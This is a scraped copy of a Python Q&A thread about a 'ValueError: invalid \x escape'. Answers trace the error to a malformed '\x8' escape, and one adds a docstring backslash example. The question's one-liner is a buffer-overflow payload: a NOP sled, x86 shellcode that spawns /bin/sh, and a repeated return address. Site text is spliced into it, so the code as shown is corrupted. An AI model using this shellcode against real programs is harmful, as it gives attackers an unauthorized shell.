开发者

ValueError: invalid \x escape

开发者 https://www.devze.com 2023-03-25 08:36 出处:网络
python -c \'print \"\\x90\" * 348 + \"\\x31\\xc0\\x83\\xec\\x01\\x88\\x04\\x24\\x68\\x62\\x61\\x开发者_运维问答73\\x68\\x68\\x62\\x69\\x6e\\x2f\\x8\\xec\\x01\\xc6\\x04\\x24\\x2f\\x89\\xe6\\x50\\x56\\x
python -c 'print "\x90" * 348 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x开发者_运维问答73\x68\x68\x62\x69\x6e\x2f\x8\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x30\xd1\xff\xff" * 35'
ValueError: invalid \x escape

Any idea what's causing this error ?


you have \x8\ in this string, change it to \x08


\x8, most likely. It should be two hex digits per escape.


\x8 is incorrect.


Also note that this error can occur if you do not escape a \ before an x in a multiline comment.

e.g. in Python 2.7:

def fn():
    """ Describing a file in the comments:
        C:\aaa\bbb\xxx\abc.txt
    """
    return None
fn()

raises the exception:

ValueError: invalid \x escape

Can be fixed by changing C:\aaa\bbb\xxx\abc.txt to C:\aaa\bbb\\xxx\abc.txt

0

精彩评论

暂无评论...
验证码 换一张
取 消